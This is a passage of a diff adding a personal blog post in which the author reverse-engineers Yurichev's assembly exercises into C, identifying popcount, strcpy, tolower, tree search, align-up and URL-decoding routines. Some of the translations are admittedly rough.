edx, eax + a = b = (a >> 2) | b; + + // shr edx, 4 + // or edx, eax + // mov eax, edx + a = b = (b >> 4) | a; + + // shr eax, 8 + // or eax, edx + // mov edx, eax + a = b = (a >> 8) | b; + + // shr edx, 16 + // or edx, eax + b = (b >> 16) | a; + + // imul eax, edx, 79355661 ; 0x4badf0d + // shr eax, 26 + a = (b * 0x4badf0d) >> 26; + + // mov eax, DWORD PTR v[0+rax*4] + // ret + return v[a]; +} +#+END_SRC + +The first thing that stood out to me was the presence of =-1= in the array of +integers. Testing from =0= to =UINT_MAX=, the only =n= that returns =-1= is =0=. +Interesting. It's also worth noting that the array contains every integer from +0, 31, so this function is using /some rule/ to map the input space onto [0, 31]. + +If we inspect the values of =f= for test values from =0= to =UINT_MAX=: + +#+BEGIN_SRC :hl_lines 0 + f(1) = 31 + f(2) = 30 + f(3) = 30 + f(4) = 29 + f(5) = 29 + f(6) = 29 + f(7) = 29 + f(8) = 28 + f(9) = 28 +f(10) = 28 +f(11) = 28 +f(12) = 28 +f(13) = 28 +f(14) = 28 +f(15) = 28 +f(16) = 27 +f(17) = 27 +f(18) = 27 +f(19) = 27 +f(20) = 27 +f(21) = 27 +f(22) = 27 +f(23) = 27 +f(24) = 27 +f(25) = 27 +f(26) = 27 +f(27) = 27 +f(28) = 27 +f(29) = 27 +f(30) = 27 +f(31) = 27 +#+END_SRC + +There's a pattern of exponential growth here -- every result occurs twice as +frequently as the previous result. Mathematically, this is $31 - [log_2(n)]$ +where the brackets represent the Greatest Integer Function ($f(x)$ returning the +largest integer less than or equal to $x$). This can be verified by comparing +the result of =f= to the following function for some test values: + +#+BEGIN_SRC c :hl_lines 0 +int my_f(unsigned n) +{ + return 31 - ((int) (log(n) / log(2))); +} +#+END_SRC + +* Challenge #4 + +This time around we're given an additional question to answer: "Some versions +have the =0x1010101= constant, some do not. Why?" I decided that I'd reverse the +x86 disassembly first, and then compare it to the other architectures. + +#+BEGIN_SRC c :hl_lines 0 +unsigned f(unsigned a) +{ + // mov edx,edi + // shr edx,1 + // and edx,0x55555555 + // sub edi,edx + a -= ((a >> 1) & 0x55555555); + + // mov eax,edi + // shr edi,0x2 + // and eax,0x33333333 + // and edi,0x33333333 + // add edi,eax + a = (a & 0x33333333) + ((a >> 2) & 0x33333333); + + // mov eax,edi + // shr eax,0x4 + // add eax,edi + // and eax,0xf0f0f0f + // imul eax,eax,0x1010101 + // shr eax,0x18 + // ret + return (((a + (a >> 4)) & 0xf0f0f0f) * 0x1010101) >> 0x18 +} +#+END_SRC + +The past few challenges have shown us that a good way of reversing these +bit-twiddling functions is to test a few input values and look at the binary +representations of the input and output values. + +#+BEGIN_SRC + In: 00000000 +Out: 0 + + In: 00000001 +Out: 1 + + In: 00000010 +Out: 1 + + In: 00000011 +Out: 2 + +... + + In: 00001100 +Out: 2 + + In: 00001101 +Out: 3 + + In: 00001110 +Out: 3 + + In: 00001111 +Out: 4 +#+END_SRC + +It doesn't take much effort to see that the function is counting the number of +bits set in the input. This was particularly interesting to me as I was asked to +derive this algorithm for a past job interview (though I wasn't able to in the +time given). + +This falls apart for numbers larger than =0xff=, however. It returns the number of +bits plus some constant that changes depending on which bits in the higher bytes +are set. I'll assume that =f= is only meant to be called with 8-bit integers. + +With that, we can move onto the second question. The disassemblies for x86, +ARM64, and Thumb have the =0x1010101= constant, while the disassemblies for ARM +and MIPS do not. + +Returning to the strategy of inspecting binary representations: + +#+BEGIN_SRC +00000000 00000000 00000000 00000000 +00000000 00000000 00000000 00000000 + +00000000 00000000 00000000 00000001 +00000001 00000001 00000001 00000001 + +00000000 00000000 00000000 00000010 +00000010 00000010 00000010 00000010 + +... + +00000000 00000000 00000000 00010000 +00010000 00010000 00010000 00010000 + +00000000 00000000 00000000 00010001 +00010001 00010001 00010001 00010001 + +00000000 00000000 00000000 00010010 +00010010 00010010 00010010 00010010 + +... + +00000000 00000000 00000000 11111101 +11111101 11111101 11111101 11111101 + +00000000 00000000 00000000 11111110 +11111110 11111110 11111110 11111110 + +00000000 00000000 00000000 11111111 +11111111 11111111 11111111 11111111 +#+END_SRC + +It would appear that multiplying a 32-bit integer by =0x1010101= propagates the +low byte to the three bytes above it. This makes sense when you notice that the +multiplication is paired with a =shr= of =0x18= -- moving the highest byte into the +lowest byte. + +Though, this doesn't really answer the question. What difference is there +between the architectures that use the =0x1010101= and the architectures that +don't? ARM and MIPS still do a shift by =0x18=, so what's going on? + +Looking at the ARM example, the instructions around the shift are: + +#+BEGIN_SRC asm :hl_lines 0 +ADD r0,r0,r0,LSL #16 +ADD r0,r0,r0,LSL #8 +LSR r0,r0,#24 +#+END_SRC + +For MIPS, it looks like: + +#+BEGIN_SRC asm :hl_lines 0 +sll $3,$2,8 +addu $2,$3,$2 +sll $3,$2,16 +addu $2,$2,$3 +j $31 +srl $2,$2,24 +#+END_SRC + +Both of these (humor me, I know the orders are different) are equivalent to: + +#+BEGIN_SRC c :hl_lines 0 +a = (a << 8) + a; +a = (a << 16) + a; +a >> 24; +#+END_SRC + +And, with some test values, we can see that this is equivalent to multiplication +by =0x1010101= and shifting by 24. + +#+BEGIN_SRC c :hl_lines 0 +unsigned a(unsigned n) +{ + n = (n << 8) + n; + n = (n << 16) + n; + return n >> 24; +} + +unsigned b(unsigned n) +{ + return (n * 0x1010101) >> 24; +} + +void main(void) +{ + for (unsigned i = 0; i < UINT_MAX; i++) { + if (a(i) != b(i)) { + printf("%u\n", i); + } + } +} +#+END_SRC + +I suspect the reason it doesn't show up in the ARM or MIPS disassemblies is due +to the fixed-width instruction encoding. The compiler likely decided it would be +less efficient to work with the =0x1010101= constant than to break it up into a +pair of shifts and additions. + +* Challenge #5 + +This is the first challenge we're given that has loops and conditionals, as +indicated by the telltale labels starting with ".L". Another initial observation +is that the first instruction in =f= operates on =%rsi=, and the third operates on +=%rcx=, so it's very likely that this function has four parameters. + +Translation to C is more involved than it was with the previous challenges, but +it is valuable as it makes the purpose of =f= very clear. In lieu of an analysis +of inputs and outputs, I'll provide a few notes on the process of translation. +First, =cmp= gave me a bit of trouble as I've been out of practice for some time +and the difference between AT&T and Intel syntax threw me for a loop. +Fortunately, the [[https://en.wikibooks.org/wiki/X86_Assembly/Control_Flow#Comparison_Instructions][wikibooks]] for x86 assembly covers this in detail. In AT&T +syntax, the order is =cmp subtrahend, minuend=, while in Intel syntax, the order +is =cmp minuend, subtrahend=. The subtrahend is subtracted from the minuend, so, +in Intel syntax, =cmp rcx, rsi; ja .L10= will jump if =%rcx= is greater than =%rsi=. + +Looking further into the function, there is some dereferencing with =BYTE PTR=, +which tipped me off that this was probably a function operating on a string. + +There's a curious =push rbx=, followed by a =pop rbx= before the =ret=. I ignored this +initially, taking it to be register preservation. It was. An intuition of what's +worth ignoring is valuable in reverse engineering. + +Upon reaching =.L16=, there are a lot of registers in use. It helped to look at +each register in isolation and see how they were used. For example, =%r10= is used +in the following instructions: =xor r10d, r10d=, =add r10, 1=, =lea rax, [rdi+r10]=, +and =cmp r10, r11=. This is very typical of a for-loop counter. =%r9= on the other +hand only shows up in two instructions: =mov r9d, 1=, and =cmovne r8d, r9d=. =%r9= is +just used as a source of 1 for =cmovne=, since there are no encodings for =cmovne= +that have an immediate source. + +=cmovne= was unfamiliar to me, so I did look it up in my favorite [[https://c9x.me/x86/html/file_module_x86_id_34.html][x86 reference]]. +It's a conditional move. =movz= was similarly unfamiliar. It simply loads =%bl= with +the source byte and zeroes out the higher portions of the register. + +#+BEGIN_SRC c :hl_lines 0 +char *f(char *a, unsigned b, char *c, unsigned d) +{ + // cmp rcx, rsi + // ja .L10 + if (d >= b) { + // .L10: + // xor eax, eax + // ret + return NULL; + } + + + // sub rsi, rcx + // add rsi, 1 + // mov r11, rsi + b = b - d + 1; + + // je .L10 + if (b == 0) { + // .L10: + // xor eax, eax + // ret + return NULL; + } + + // test rcx, rcx + // jne .L16 + // mov rax, rdi + // ret + if (d == 0) { + return a; + } + + // .L16: + // push rbx + // xor r10d, r10d + // mov r9d, 1 + // ... + // cmp r10, r11 + // jne .L4 + for (int i = 0; i != b; i++) { + // xor r8d, r8d + unsigned ret = 0; + + // .L4: + // lea rax, [rdi+r10] + // xor esi, esi + // ... + // add rsi, 1 + // cmp rsi, rcx + // jne .L8 + for (int j = 0; j != d; j++) { + // movzx ebx, BYTE PTR [rdx+rsi] + // cmp BYTE PTR [rax+rsi], bl + // cmovne r8d, r9d + if (a[i] != c[j]) { + ret = 1; + } + } + + // test r8d, r8d + // je .L12 + if (!ret) { + // .L12: + // pop rbx + // ret + return a + i; + } + } + + // xor eax, eax + // pop rbx + // ret + return NULL; +} +#+END_SRC + +The variable names I chose are pretty opaque, but if you stare at this long +enough, it should be pretty clear that =f= returns the offset of =c= in =a=. =b= and =d= +are just the lengths of =a= and =c= respectively. + +* Challenge #6 + +An additional hint given for this exercise is that, "[t]his is one of the +simplest exercises I made, but still this code can be served as useful library +function and is certainly used in many modern real-world applications." I'll +leave the relative addresses in my annotations of the disassembly, as it appears +to be PIC. + +For the sake of showing the mapping between assembly instructions and C code, +I'll first give a translation that uses =goto=, followed by a cleaned up version. + +#+BEGIN_SRC c +// 0: push rbp +// 1: mov rbp,rsp +// 4: mov QWORD PTR [rbp-0x8],rdi +// 8: mov QWORD PTR [rbp-0x10],rsi +int f(char *a, char *b) +{ +_start: + // c: mov rax,QWORD PTR [rbp-0x8] + // 10: movzx eax,BYTE PTR [rax] + // 13: movsx dx,al + // 17: mov rax,QWORD PTR [rbp-0x10] + // 1b: mov WORD PTR [rax],dx + *b = *a; + + // 1e: mov rax,QWORD PTR [rbp-0x10] + // 22: movzx eax,WORD PTR [rax] + // 25: test ax,ax + // 28: jne 2c + // 2a: jmp 38 + if (*a & 0xffff != 0) { + // 2c: add QWORD PTR [rbp-0x8],0x1 + // 31: add QWORD PTR [rbp-0x10],0x2 + // 36: jmp c + a++; + b++; + goto _start; + } + + // 38: pop rbp + // 39: ret +} +#+END_SRC + +#+BEGIN_SRC c +int f(char *a, char *b) +{ + while (*a != '\0') { + *b++ = *a++; + } +} +#+END_SRC + +Cool. Yurichev wasn't lying, this is a damn simple exercise, but it is something +that's used in nearly every C program. It's =strcpy=! + +* Challenge #7 + +This exercise gives the same hint as last time, and similarly uses address +offsets instead of symbols. + +Control flow isn't as initially obvious as some of the past exercises, but the +first instruction is a pretty good tell that this function takes a =char *= as a +parameter, and the =test dl,dl= was a good tell that the control flow depends on +the individual characters in that parameter. The =0x41= in that ==lea +esi,[rdx-0x41]= instruction stood out to me, as =0x41= is 'A' in ASCII, and the +=0x20= in the =add edx,0x20= was also a big clue, as ='a' - 'A'= is =0x20=. + +#+BEGIN_SRC c +void f(char *a) +{ + char *cur; + + // 0: movzx edx,BYTE PTR [rdi] + // 3: mov rax,rdi + // 6: mov rcx,rdi + // 9: test dl,dl + // b: je 29 + // 29: repz ret + if (*a == '\0') + return; + + // 6: mov rcx,rdi + cur = a; + + // 25: test dl,dl + // 27: jne 10 + while (*cur != '\0') { + // 10: lea esi,[rdx-0x41] + // 13: cmp sil,0x19 + // 17: ja 1e + // 19: add edx,0x20 + // 1c: mov BYTE PTR [rcx],dl + if (*cur - 0x41 <= 0x19) + *cur += 0x20; + + // 1e: add rcx,0x1 + // 22: movzx edx,BYTE PTR [rcx] + cur++; + } + + // 29: repz ret +} +#+END_SRC + +Just from the tells outlined in the previous paragraph, I don't even need to run +=f= to know that it converts =a= to lowercase, albeit only capable of transforming +capital ASCII characters (producing garbage for, say, a space character). + +* Challenge #8 + +The hint we're given this time is, "[t]his is one of the busiest algorithms +under the hood, though, usually hidden from programmers. It implements one of +the most popular algorithms in computer science. It features recursion and a +callback function." + +In preparation for an exercise that's would likely be more difficult than the +past few, I did a couple quick perusals to get a basic idea of the control flow, +the parameters, and the return values. The =mov rbp,rdx= early on indicates that +there are at least three parameters. + +There's a =push rbp= instruction, but [[https://en.wikipedia.org/wiki/Function_prologue][explicit creation of a stack frame]]. There +are also =push r12= and =push rbx= instructions. These all occur at the beginning of +the function, so we see some register preservation and an indication that these +are the registers that are going to be used in the code. + +I find that a lot of reverse engineering involves getting good footing, so +this is the information you want when starting out. + +What I normally try to find out next is whether the parameters and return type +are integers or pointers: =mov rsi,QWORD PTR [rbx]=, after =%rsi= was moved into +=%rbx= is a good tell that the second parameter is a pointer, likely to an array +of pointer as it's dereferenced as =QWORD PTR=, and the =call r12= tells me that the +first parameter is the callback that was mentioned in the hint. The =js 40= after +testing the callback's return value tells me that its return value is signed -- +probably an int, not a pointer -- and the pair of =mov rsi,QWORD PTR [rbx]= and +=mov rdi,rbp= before the call indicate that it takes two parameters. + +#+BEGIN_SRC c +void *f(int (*a)(void *, int), void **b, int c) +{ + int ret; + // 0: push r12 + // 2: test rsi,rsi + // ... + // 10: je 32 + if (b == 0) { + // 32: pop rbx + // 33: pop rbp + // 34: xor eax,eax + // 36: pop r12 + // 38: ret + return NULL; + } + + // r12 <- a + // rbx <- b + // rbp <- c + + while (1) { + // (This code path is also duplicated at 49-54. The branch that + // contains the duplicated code has been omitted, as the same + // effect arises from this loop continuing to iterate. + // + // 18: mov rsi,QWORD PTR [rbx] + // 1b: mov rdi,rbp + // 1e: call r12 + ret = a(*b, c); + + // 21: test eax,eax + // 23: je 56 + if (ret == 0) { + // 56: mov rax,rbx + // 59: pop rbx + // 5a: pop rbp + // 5b: pop r12 + // 5d: ret + return b; + } + + // 25: js 40 + else if (ret < 0) { + // 40: mov rbx,QWORD PTR [rbx+0x10] + b = b[4]; + + // 44: test rbx,rbx + // 47: je 32 + if (b == NULL) { + // 32: pop rbx + // 33: pop rbp + // 34: xor eax,eax + // 36: pop r12 + // 38: ret + return NULL; + } + } + + else { + // 27: mov rbx,QWORD PTR [rbx+0x18] + b = b[6]; + + // 2b: test rbx,rbx + // 30: jne 18 + if (b == NULL) { + // 32: pop rbx + // 33: pop rbp + // 34: xor eax,eax + // 36: pop r12 + // 38: ret + return NULL; + } + } + } +} +#+END_SRC + +In deriving meaning from this, I have a bit of an advantage; I've just recently +implemented this exact algorithm for my university's computer systems principle +course. This is the search function for a binary search tree, which takes an +arbitrary comparison function, =a=,, and returns the first node for which =a= +returns 0. The function returns =NULL= if the item is not in the tree. =c= is some +sort of "data" parameter for the callback function, hence why it isn't used in +the algorithm. + +=b= is probably a pointer to a struct looking something like the following: + +#+BEGIN_SRC c +struct tree_node { + char data[0x10]; + struct tree_node *left; + struct tree_node *right; +} +#+END_SRC + +as =QWORD PTR [rbx+0x10]= is followed when =a= returns something less than 0 +(represented in the struct as =left=), and =QWORD PTR [rbx+0x18]= is followed when =a= +returns something greater than 0 - (represented in the struct as =right=). + +This exercise is a little unusual. The hint mentions recursion, but this +algorithm is entirely iterative. Perhaps it was implemented recursively in C, +and the compiler performed some sort of tail-call optimization? I honestly have +no idea. + +* Challenge #9 + +The hint we're given this time is, "[n]ow that's easy." I certainly hope it is. + +This is the first challenge we're given that uses libc. It's also the first +challenge in which we see the compiler using [[https://en.wikipedia.org/wiki/Switch_statement#Compilation][binary search]] to optimize a +conditional with more than one branch. I tend to write these out as =switch= +statements whenever I see them, but it's perfectly reasonable for a compiler to +optimize an =if= in the same way. + +#+BEGIN_SRC c +#include +#include + +int f(char a) +{ + // sub rsp, 8 + // movzx eax, BYTE PTR [rdi] + switch (a) { + // cmp al, 89 + // je .L3 + case 'Y': + // cmp al, 121 + // jne .L2 + case 'y': + // .L3: + // mov eax, 1 + // add rsp, 8 + // ret + return 1; + + // jle .L21 + // ... + // .L21: + // cmp al, 78 + // je .L6 + case 'N': + // ... + // cmp al, 110 + // je .L6 + case 'n': + // .L6: + // xor eax, eax + // add rsp, 8 + // ret + return 0; + + default: + // .L2: + // mov edi, OFFSET FLAT:.LC0 + // call puts + // xor edi, edi + // call exit + puts("error!"); + exit(0); + } +} +#+END_SRC + +Yurichev wasn't lying, this was an easy challenge. In fact, if I were reverse +engineering a binary and came across something like this, I probably wouldn't +bother translating the assembly to equivalent C. It's a function that converts a +character to a boolean (in the sense of a prompt that asks the user for 'Y' or +'N' -- "Yes" or "No") and exits prematurely if the character wouldn't make sense +in that context. + +* Challenge #10 + +The hint time is "[t]his code snippet is short, but tricky. What does it do? +It's used heavily in low-level programming and is well-known to many low-level +programmers. There are several ways to calculate it, and this is the one of +them." + +The snippet really is short, clocking in at only four instructions, but I still +felt the need to break out [[https://godbolt.org/][Compiler Explorer]] for this one. The part about being +"used heavily in low-level programming" threw me off a bit, since I saw =neg= and +thought that perhaps that'd correspond to the =~= operator in C, which I've only +seen used in very low-level bit shifting code. This initial assumption would've +led me astray, however, and I'm glad I took the extra minute to verify. + +#+BEGIN_SRC c +int f(int a) +{ + return -a; +} +#+END_SRC + +#+BEGIN_SRC asm +f(int): + push rbp + mov rbp, rsp + mov DWORD PTR [rbp-4], edi + mov eax, DWORD PTR [rbp-4] + neg eax + pop rbp + ret +#+END_SRC + +#+BEGIN_SRC c +int f(int a) +{ + return ~a; +} +#+END_SRC + +#+BEGIN_SRC asm +f(int): + push rbp + mov rbp, rsp + mov DWORD PTR [rbp-4], edi + mov eax, DWORD PTR [rbp-4] + not eax + pop rbp + ret +#+END_SRC + +=not= corresponds to =~=, and =neg= corresponds to =-= We're dealing with =neg= here. + +The equivalent C code for the snippet is given. Because I had Compiler Explorer +open already, I decided to throw this in there for kicks and giggles. x86-64 gcc +8.3 with =-O2= spits out the exact same series of instructions as the challenge. I +love the predictability of C compilers. + +#+BEGIN_SRC c +int f(int a, int b) +{ + return (a + b - 1) & -b; +} +#+END_SRC + +This doesn't answer our question, though. What does this do? We can test a few +values of =a= and =b= with the following snippet, replacing =2<<0= with various +constants. + +#+BEGIN_SRC c +int main(void) +{ + int i, j; + j = 2 << 0; + for (i = 0; i < 256; i++) { + printf("%-8x %-8x %-8x\n", i, j, f(i, j)); + } +} +#+END_SRC + +#+BEGIN_SRC +0 2 0 +1 2 2 +2 2 2 +3 2 4 +4 2 4 +5 2 6 +6 2 6 +7 2 8 +8 2 8 +9 2 a +a 2 a +b 2 c +c 2 c +d 2 e +e 2 e +f 2 10 +... +0 8 0 +1 8 8 +2 8 8 +3 8 8 +4 8 8 +5 8 8 +6 8 8 +7 8 8 +8 8 8 +9 8 10 +a 8 10 +b 8 10 +c 8 10 +d 8 10 +e 8 10 +f 8 10 +10 8 10 +11 8 18 +12 8 18 +#+END_SRC + +It would seem that this is some sort of "least multiple of $b$ such that $b < a$ +given that $b$ is a power of two, but I feel as though I'm grasping at straws +here. + +As a Gentoo user, I have the Linux source tree checked out at =/usr/src/linux=, +and because the hint mentions low-level programming, I decided to create a +regular expression for the C I came up with and let =ag= have a go at it. + +=ag "\\(.*-[^>].*\\).*&.*\\-" /usr/src/linux= yielded quite a few results. Before +I ran the command, I wasn't expecting much, thinking that my regex was too +permissive, but the first result I saw looked remarkably like the C expression I +had come up with -- right at the beginning of =sysv_readdir= in =fs/sysv/dir.c=: + +#+BEGIN_SRC c +static int sysv_readdir(struct file *file, struct dir_context *ctx) +{ + unsigned long pos = ctx->pos; + struct inode *inode = file_inode(file); + struct super_block *sb = inode->i_sb; + unsigned long npages = dir_pages(inode); + unsigned offset; + unsigned long n; + + ctx->pos = pos = (pos + SYSV_DIRSIZE-1) & ~(SYSV_DIRSIZE-1); + if (pos >= inode->i_size) + return 0; +#+END_SRC + +Hm. Remember how I mentioned that I expected =neg= to correspond to a =~=? Well, +jumping back to Compiler Explorer: + +#+BEGIN_SRC c +int f(int a) +{ + return ~a; +} +#+END_SRC + +#+BEGIN_SRC asm +f(int): + mov eax, edi + not eax + ret +#+END_SRC + +#+BEGIN_SRC c +int f(int a) +{ + return ~(a - 1); +} +#+END_SRC + +#+BEGIN_SRC asm +f(int): + mov eax, edi + neg eax + ret +#+END_SRC + +Modifying our search slightly to =ag "\\(.*-[^>].*\\).*&.*\\~.*\\-.*1"= yields a +massive number of results, some of which are named macros. Here's one of them, +in =include/uapi/linux/if_packet.h=: + +#+BEGIN_SRC c +#define TPACKET_ALIGN(x) (((x)+TPACKET_ALIGNMENT-1)&~(TPACKET_ALIGNMENT-1)) +#+END_SRC + +Cool. That makes me feel much more confident in my answer. + +* Challenge #11 + +The hint for this exercise is: "[t]his is a somewhat large function (in contrast +to the other exercises in this blog), but heavily used nowadays in various +software. As it can be clearly seen, it uses standard C/C++ functions including +strlen() and sscanf(). Some other helper function is also used. I intentionally +gave it this name to conceal its real function. So what does the whole code +snippet do?" + +I'd like to apologize in advance for the sloppiness of the code that follows. +Also, I've renamed =helper= to =is_hex_digit=, as it makes the code for =f= clearer. + +#+BEGIN_SRC c +#include +#include + +int is_hex_digit(char a) +{ + // lea edx, [rdi-48] + // mov eax, 1 + // cmp edx, 9 + // jbe .L2 + if (a <= '9') { + // .L2: + // ret + return 1; + } + + // and edi, -33 + // xor eax, eax + // sub edi, 65 + // cmp edi, 5 + // setbe al + // .L2: + // ret + return (a & -33) <= 'F' ? 1 : 0; +} + +int f(char *a, char *b) +{ + int len; + int local_12; + char *cur; + char *end; + char *dst; + char *next; + + // push r15 + // xor eax, eax + // or rcx, -1 + // push r14 + // push r13 + // push r12 + // mov r12, rsi + // push rbp + // mov rbp, rsi + // push rbx + // mov rbx, rdi + // sub rsp, 24 + // repnz scasb + // not rcx + dst = b; + cur = a; + len = strlen(a); + + // lea r14, [rbx-1+rcx] + // .L6: + // cmp rbx, r14 + // ja .L24 + while (cur <= end) { + // movsx eax, BYTE PTR [rbx] + // ... + // mov DWORD PTR [rsp+12], eax + local_12 = (int) *cur; + + // lea r13, [rbx+1] + next = cur + 1; + + // mov r15, r13 + // cmp eax, 43 + // jne .L7 + if (*cur == '+') { + // mov DWORD PTR [rsp+12], 32 + local_12 = ' '; + // jmp .L8 + } else { + // .L7: + // cmp eax, 37 + // jne .L8 + // movsx edi, BYTE PTR [rbx+1] + // call helper + // test eax, eax + // jne .L9 + if (*cur == '%' && is_hex_digit(*(cur + 1))) { + // .L9: + // movsx edi, BYTE PTR [rbx+2] + // lea r13, [rbx+3] + next = cur + 3; + + // call helper + // test eax, eax + // je .L11 + if (!is_hex_digit(*(cur + 2))) { + // .L11: + // or eax, -1 + // jmp .L10 + // .L10: + // add rsp, 24 + // pop rbx + // pop rbp + // pop r12 + // pop r13 + // pop r14 + // pop r15 + // ret + return -1; + } + + // lea rdx, [rsp+12] + // xor eax, eax + // mov esi, OFFSET FLAT:.LC0 + // mov rdi, r15 + // call __isoc99_sscanf + // test eax, eax + // je .L11 + if (!sscanf(cur + 1, "%2X", &local_12)) { + // .L11: + // or eax, -1 + // jmp .L10 + // .L10: + // add rsp, 24 + // pop rbx + // pop rbp + // pop r12 + // pop r13 + // pop r14 + // pop r15 + // ret + return -1; + } + } + + } + + // .L8: + // test r12, r12 + // je .L12 + if (b != NULL) { + // mov eax, DWORD PTR [rsp+12] + // mov BYTE PTR [rbp+0], al + *dst = local_12; + } + + // .L12: + // inc rbp + // mov rbx, r13 + // jmp .L6 + dst++; + cur = next; + } + + // .L24: + // mov eax, ebp + // sub eax, r12d + // .L10: + // add rsp, 24 + // pop rbx + // pop rbp + // pop r12 + // pop r13 + // pop r14 + // pop r15 + // ret + return dst - b; +} +#+END_SRC + +This could very well be cleaned up. In fact, I'm not even sure that my +translation is completely correct, but I got to the point where I felt it was +"good enough" and I could explain that =f= is a function for decoding a +[[https://en.wikipedia.org/wiki/Percent-encoding][percent-encoded]] string, where =a= is the encoded string and =b= is a destination to +decode to. If not for the telltale ='+'= corresponding to a =' '= and use of a ='%'= +character, I probably would have spent more time cleaning up my translation and +making sense of it. But I've seen code like this many times in my life, it +really is "heavily used nowadays in various software." + +I began this challenge by reversing =helper=, which I think was a good move as it +gave me some footing. I didn't even notice '%' or '+' in =f= at first, but the +realization that =helper= worked with hexadecimal digits got me started on ideas +for what =f= might do. + +On the topic of =helper=, the reason I was able to pick out that it's checking for +hexadecimal digits was realizing that $a - 48 \leq 9$ is equivalent to $a \leq +49 + 9$. The comparison is otherwise pretty unclear. And I suspect that the =-33= +is related to how ASCII is encoded. + +The control flow for =f= is pretty intimidating with its 8 labels. When it came +time to look at =f=, I drew out a rudimentary control flow graph on paper -- +scribbling down the label names and drawing arrows between the different labels. +I found this to be very useful in identifying which jumps are loops (cycles in +the graph), which are conditionals (branches), and which labels are related +(linear relationships). + +#+BEGIN_EXPORT html + + +#+END_EXPORT -- cgit v1.3